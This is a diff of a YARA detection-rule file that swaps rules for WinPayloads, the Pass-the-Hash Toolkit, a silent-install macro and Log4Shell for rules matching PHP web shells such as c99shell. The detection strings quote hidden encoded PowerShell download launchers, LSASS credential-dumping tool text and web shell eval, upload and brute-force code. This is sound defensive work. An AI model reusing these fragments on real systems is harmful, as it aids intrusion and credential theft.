 		modified = "2023-12-05"
-		reference = "https://github.com/nccgroup/Winpayloads"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_winpayloads.yar#L12-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e9e75f7190327f08c5e204977c6714c93951a6db0ddf000c8b37db37131b9def"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5264-L5279"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c089f8175532ddc0e2d256b4972f7db32683bd213a456622ed27ab4844d1e435"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "011eba8f18b66634f6eb47527b4ceddac2ae615d6861f89a35dbb9fc591cae8e"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
 
 	strings:
-		$x1 = "$Base64Cert = 'MIIJeQIBAzCCCT8GCSqGSIb3DQEHAaCCCTAEggksMIIJKDCCA98GCSqGSIb3DQEHBqCCA9AwggPMAgEAMIIDxQYJKoZIhvcNAQcBMBwGCiqGSIb3D" ascii
-		$x2 = "powershell -w hidden -noni -enc SQBF" fullword ascii nocase
-		$x3 = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwA" ascii
-		$x4 = "powershell.exe -WindowStyle Hidden -enc JABjAGwAaQBlAG4AdAA" ascii
+		$s0 = "<b>Dumped! Dump has been writed to "
+		$s1 = "if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"<TABLE st"
+		$s2 = "<input type=submit name=actarcbuff value=\\\"Pack buffer to archive"
 
 	condition:
-		filesize <10KB and 1 of them
+		1 of them
 }
-rule SIGNATURE_BASE_Winpayloads_Payload : FILE
+rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_C99Shell_V1_0_Php_Php_C99Php
 {
 	meta:
-		description = "Detects WinPayloads Payload"
-		author = "Florian Roth (Nextron Systems)"
-		id = "44fae324-1fc8-5417-950a-8a3783b6d2ae"
-		date = "2017-07-11"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/nccgroup/Winpayloads"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_winpayloads.yar#L30-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8a22eeafa320bcf0d41de402223d3ad51d8625ffaa68fe24be864ffcf72a64a2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5280-L5297"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e82882e89a1aeb256768f2af7a6d3674c89f9abc358710b33b8d3d425defcef1"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 		super_rule = 1
-		hash1 = "23a24f99c3c6c00cd4bf6cb968f813ba2ceadfa846c7f169f412bcbb71ba6573"
-		hash2 = "35069905d9b7ba1fd57c8df03614f563504194e4684f47aafa08ebb8d9409d0b"
-		hash3 = "a28d107f168d85c38fc76229b14561b472e60e60973eb10b6b554c1f57469322"
-		hash4 = "ed93e28ca18f749a78678b1e8e8ac31f4c6c0bab2376d398b413dbdfd5af9c7f"
-		hash5 = "26f5aee1ce65158e8375deb63c27edabfc9f5de3c1c88a4ce26a7e50b315b6d8"
-		hash6 = "b25a515706085dbde0b98deaf647ef9a8700604652c60c6b706a2ff83fdcbf45"
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
 
 	strings:
-		$s1 = "bpayload.exe.manifest" fullword ascii
-		$s2 = "spayload" fullword ascii
+		$s0 = "@ini_set(\"highlight" fullword
+		$s1 = "echo \"<b>Result of execution this PHP-code</b>:<br>\";" fullword
+		$s2 = "{$row[] = \"<b>Owner/Group</b>\";}" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <10000KB and all of them )
+		2 of them
 }
-rule SIGNATURE_BASE_APT_UNC1151_Windowsinstaller_Silent_Installproduct_Macromethod : FILE
+rule SIGNATURE_BASE__GFS_Web_Shell_Ver_3_1_7___Priv8_Php_Nshell_Php_Php_Gfs_Sh_Php_Php
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "Proofpoint Threat Research"
-		id = "9ae80d54-33b9-55d7-957f-0738243e089f"
-		date = "2021-07-28"
+		description = "Semi-Auto-generated  - from files GFS web-shell ver 3.1.7 - PRiV8.php.txt, nshell.php.php.txt, gfs_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "4d1dd87b-1ffd-564d-9411-c5d2fc01ae0f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Thttps://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc1151_ua.yar#L1-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aec1bb992061fdf1abf5c1a61cf9ec9e54c1f13be36ceb84890b058ade273b70"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5298-L5313"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9df5b6df25574b303044a0799c5eb5f38f9ebfbc6f6114275fe1e34adbde1f7c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3"
-		hash2 = "a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0"
+		tags = ""
+		super_rule = 1
+		hash0 = "be0f67f3e995517d18859ed57b4b4389"
+		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
+		hash2 = "f618f41f7ebeb5e5076986a66593afd1"
 
 	strings:
-		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
-		$s1 = ".UILevel = 2"
-		$s2 = "CreateObject(\"WindowsInstaller.Installer\")"
-		$s3 = ".InstallProduct \"http"
+		$s2 = "echo $uname.\"</font><br><b>\";" fullword
+		$s3 = "while(!feof($f)) { $res.=fread($f,1024); }" fullword
+		$s4 = "echo \"user=\".@get_current_user().\" uid=\".@getmyuid().\" gid=\".@getmygid()"
 
 	condition:
-		$doc_header at 0 and all of ($s*)
+		2 of them
 }
-rule SIGNATURE_BASE_Whosthere_Alt : FILE
+rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_C99Shell_V1_0_Php_Php_Specialshell_99_Php_Php
 {
 	meta:
-		description = "Auto-generated rule - file whosthere-alt.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "92e98381-9142-58af-82ce-4df9eb0a0039"
-		date = "2015-07-10"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passthehashtoolkit.yar#L10-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9b4c3691872ca5adf6d312b04190c6e14dd9cbe10e94c0dd3ee874f82db897de"
-		logic_hash = "ef7bccb8f63034b885cfaec27663c9b038cd9b1811b4f25a9eae28640dac248b"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5314-L5332"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f44dc1ff243b234a718e8dbd5cc8c4dc8eb9d3b63300a5c6ff72b86280607bf"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
 
 	strings:
-		$s0 = "WHOSTHERE-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii
-		$s1 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii
-		$s2 = "dump output to a file, -o filename" fullword ascii
-		$s3 = "This tool lists the active LSA logon sessions with NTLM credentials." fullword ascii
-		$s4 = "Error: pth.dll is not in the current directory!." fullword ascii
-		$s5 = "the output format is: username:domain:lmhash:nthash" fullword ascii
-		$s6 = ".\\pth.dll" fullword ascii
-		$s7 = "Cannot get LSASS.EXE PID!" fullword ascii
+		$s0 = "c99ftpbrutecheck"
+		$s1 = "$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);" fullword
+		$s2 = "$fqb_lenght = $nixpwdperpage;" fullword
+		$s3 = "$sock = @ftp_connect($host,$port,$timeout);" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <280KB and 2 of them
+		2 of them
 }
-rule SIGNATURE_BASE_Iam_Alt_Iam_Alt : FILE
+rule SIGNATURE_BASE__W_Php_Php_Wacking_Php_Php_C99Shell_V1_0_Php_Php_C99Php_Specialshell_99_Php_Php
 {
 	meta:
-		description = "Auto-generated rule - file iam-alt.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cf8ec963-ed23-531e-8ea2-ff9f8643aa75"
-		date = "2015-07-10"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passthehashtoolkit.yar#L33-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2ea662ef58142d9e340553ce50d95c1b7a405672acdfd476403a565bdd0cfb90"
-		logic_hash = "acd4dae57e8394d4ce2f3dfb44706ea35c3d684ab34fd0c707b6aeedd816280a"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5333-L5349"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e9cd7425b806f71d8889f5df7f3fc2f4a692279fc4e495104646cfe28c5b5fe5"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash3 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
 
 	strings:
-		$s0 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii
-		$s1 = "IAM-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii
-		$s2 = "This tool allows you to change the NTLM credentials of the current logon session" fullword ascii
-		$s3 = "username:domainname:lmhash:nthash" fullword ascii
-		$s4 = "Error in cmdline!. Bye!." fullword ascii
-		$s5 = "Error: Cannot open LSASS.EXE!." fullword ascii
-		$s6 = "nthash is too long!." fullword ascii
-		$s7 = "LSASS HANDLE: %x" fullword ascii
+		$s0 = "$sqlquicklaunch[] = array(\""
+		$s1 = "else {echo \"<center><b>File does not exists (\".htmlspecialchars($d.$f).\")!<"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <240KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_Genhash_Genhash : FILE
+rule SIGNATURE_BASE__Antichat_Php_Php_Fatalshell_Php_Php_A_Gedit_Php_Php
 {
 	meta:
-		description = "Auto-generated rule - file genhash.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bec3c014-df3b-5ac0-9501-9b648856e02b"
-		date = "2015-07-10"
+		description = "Semi-Auto-generated  - from files antichat.php.php.txt, Fatalshell.php.php.txt, a_gedit.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "6bf5640f-0773-5d93-8d27-0844062017c7"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passthehashtoolkit.yar#L56-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "113df11063f8634f0d2a28e0b0e3c2b1f952ef95bad217fd46abff189be5373f"
-		logic_hash = "fe1ebe7ea94351610e0042eab020d155cbab26d790477909467c9b5a827fb6d6"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5350-L5366"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "789340845aeed4accaef02afa1a1fe420e73b6f5af1b621f4ec2342994045278"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		super_rule = 1
+		hash0 = "128e90b5e2df97e21e96d8e268cde7e3"
+		hash1 = "b15583f4eaad10a25ef53ab451a4a26d"
+		hash2 = "ab9c6b24ca15f4a1b7086cad78ff0f78"
 
 	strings:
-		$s1 = "genhash.exe <password>" fullword ascii
-		$s3 = "Password: %s" fullword ascii
-		$s4 = "%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X" fullword ascii
-		$s5 = "This tool generates LM and NT hashes." fullword ascii
-		$s6 = "(hashes format: LM Hash:NT hash)" fullword ascii
+		$s0 = "if(@$_POST['save'])writef($file,$_POST['data']);" fullword
+		$s1 = "if($action==\"phpeval\"){" fullword
+		$s2 = "$uploadfile = $dirupload.\"/\".$_POST['filename'];" fullword
+		$s3 = "$dir=getcwd().\"/\";" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 2 of them
+		2 of them
 }
-rule SIGNATURE_BASE_Iam_Iamdll : FILE
+rule SIGNATURE_BASE__C99Shell_V1_0_Php_Php_C99Php_Sses_Php_Php
 {
 	meta:
-		description = "Auto-generated rule - file iamdll.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "15e8ddac-af17-5509-b552-b4364af57c90"
-		date = "2015-07-10"
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passthehashtoolkit.yar#L76-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "892de92f71941f7b9e550de00a57767beb7abe1171562e29428b84988cee6602"
-		logic_hash = "ef7c66d2e1204a43921b6701812ea8a7bfa8e39e24d9396c95b725a4a4171010"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5367-L5380"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b2bdf4187ff3d63e4af5c70e8cc93cd8fac3257b33c38764ad2bb2e206066162"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
 
 	strings:
-		$s0 = "LSASRV.DLL" fullword ascii
-		$s1 = "iamdll.dll" fullword ascii
-		$s2 = "ChangeCreds" fullword ascii
+		$s3 = "if (!empty($delerr)) {echo \"<b>Deleting with errors:</b><br>\".$delerr;}" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <115KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Iam_Iam : FILE
+rule SIGNATURE_BASE__Crystal_Php_Nshell_Php_Php_Load_Shell_Php_Php
 {
 	meta:
-		description = "Auto-generated rule - file iam.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "15e8ddac-af17-5509-b552-b4364af57c90"
-		date = "2015-07-10"
+		description = "Semi-Auto-generated  - from files Crystal.php.txt, nshell.php.php.txt, load_shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "a92134cd-7f10-589f-bcda-508bc7a20efe"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passthehashtoolkit.yar#L94-L114"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8a8fcce649259f1b670bb1d996f0d06f6649baa8eed60db79b2c16ad22d14231"
-		logic_hash = "f170f6f71b81a674a269ddd441c77a43afbbfe2870e1d0c4101abd2e58bff0b0"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5381-L5396"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "71a9310b19b66e3699f75f551cc604f535ea843eb9c50f4a009edcd9c11e01b9"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		super_rule = 1
+		hash0 = "fdbf54d5bf3264eb1c4bff1fac548879"
+		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
+		hash2 = "0c5d227f4aa76785e4760cdcff78a661"
 
 	strings:
-		$s1 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii
-		$s2 = "iam.exe -h administrator:mydomain:" ascii
-		$s3 = "An error was encountered when trying to change the current logon credentials!." fullword ascii
-		$s4 = "optional parameter. If iam.exe crashes or doesn't work when run in your system, use this parameter." fullword ascii
-		$s5 = "IAM.EXE will try to locate some memory locations instead of using hard-coded values." fullword ascii
-		$s6 = "Error in cmdline!. Bye!." fullword ascii
-		$s7 = "Checking LSASRV.DLL...." fullword ascii
+		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
+		$s1 = "$dires = $dires . $directory;" fullword
+		$s4 = "$arr = array_merge($arr, glob(\"*\"));" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Whosthere_Alt_Pth : FILE
+rule SIGNATURE_BASE__Nst_Php_Php_Cybershell_Php_Php_Img_Php_Php_Nstview_Php_Php
 {
 	meta:
-		description = "Auto-generated rule - file pth.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "92e98381-9142-58af-82ce-4df9eb0a0039"
-		date = "2015-07-10"
+		description = "Semi-Auto-generated  - from files nst.php.php.txt, cybershell.php.php.txt, img.php.php.txt, nstview.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "cc4dc0e9-dbb1-560b-ae36-23d3e16a407f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passthehashtoolkit.yar#L116-L134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fbfc8e1bc69348721f06e96ff76ae92f3551f33ed3868808efdb670430ae8bd0"
-		logic_hash = "137b0dae105f97b5d4352d16e52144e72306e61be57c5d93df77ad3f5808018e"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5397-L5413"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "afc0b1c83644aa323d308471e5978b6b03f444f5f46fbaddac28ff42d524df1e"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		super_rule = 1
+		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
+		hash1 = "ef8828e0bc0641a655de3932199c0527"
+		hash2 = "17a07bb84e137b8aa60f87cd6bfab748"
+		hash3 = "4745d510fed4378e4b1730f56f25e569"
 
 	strings:
-		$s0 = "c:\\debug.txt" fullword ascii
-		$s1 = "pth.dll" fullword ascii
-		$s2 = "\"Primary\" string found at %.8Xh" fullword ascii
-		$s3 = "\"Primary\" string not found!" fullword ascii
-		$s4 = "segment 1 found at %.8Xh" fullword ascii
+		$s0 = "@$rto=$_POST['rto'];" fullword
+		$s2 = "SCROLLBAR-TRACK-COLOR: #91AAFF" fullword
+		$s3 = "$to1=str_replace(\"//\",\"/\",$to1);" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <240KB and 4 of them
+		2 of them
 }
-rule SIGNATURE_BASE_Whosthere : FILE
+rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_Dc3_Security_Crew_Shell_Priv_Php_Specialshell_99_Php_Php
 {
 	meta:
-		description = "Auto-generated rule - file whosthere.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "92e98381-9142-58af-82ce-4df9eb0a0039"
-		date = "2015-07-10"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "d22c4cc3-842b-5a24-bf4b-a8024b447b9e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passthehashtoolkit.yar#L136-L155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d7a82204d3e511cf5af58eabdd6e9757c5dd243f9aca3999dc0e5d1603b1fa37"
-		logic_hash = "a13c8a1fc66381b040d6449fe9655191d7a1762da0dc70789cd497fb68fb2a55"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5414-L5430"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7a4c74912caa1855efc3a2ea7fa6d0082f62776d77a211e59f12892d4883f240"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "433706fdc539238803fd47c4394b5109"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
 
 	strings:
-		$s1 = "by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii
-		$s2 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii
-		$s3 = "specify addresses to use. Format: ADDCREDENTIAL_ADDR:ENCRYPTMEMORY_ADDR:FEEDBACK_ADDR:DESKEY_ADDR:LOGONSESSIONLIST_ADDR:LOGONSES" ascii
-		$s4 = "Could not enable debug privileges. You must run this tool with an account with administrator privileges." fullword ascii
-		$s5 = "-B is now used by default. Trying to find correct addresses.." fullword ascii
-		$s6 = "Cannot get LSASS.EXE PID!" fullword ascii
+		$s0 = " if ($mode & 0x200) {$world[\"execute\"] = ($world[\"execute\"] == \"x\")?\"t\":"
+		$s1 = " $group[\"execute\"] = ($mode & 00010)?\"x\":\"-\";" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <320KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_EXPL_Log4J_Callbackdomain_Iocs_Dec21_1 : CVE_2021_44228
+rule SIGNATURE_BASE__C99Shell_V1_0_Php_Php_C99Php_1_C2007_Php_Php_C100_Php
 {
 	meta:
-		description = "Detects IOCs found in Log4Shell incidents that indicate exploitation attempts of CVE-2021-44228"
-		author = "Florian Roth (Nextron Systems)"
-		id = "474afa96-1758-587e-8cab-41c5205e245e"
-		date = "2021-12-12"
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, 1.txt, c2007.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_log4j_cve_2021_44228.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8d5e60f91b715242c6f8ee806ab81d3e296ce1467cf2d065b053f33e3ae00f14"
-		score = 60
-		quality = 35
-		tags = "CVE-2021-44228"
+		reference = "https://github.com/Neo23x0/signature-base"
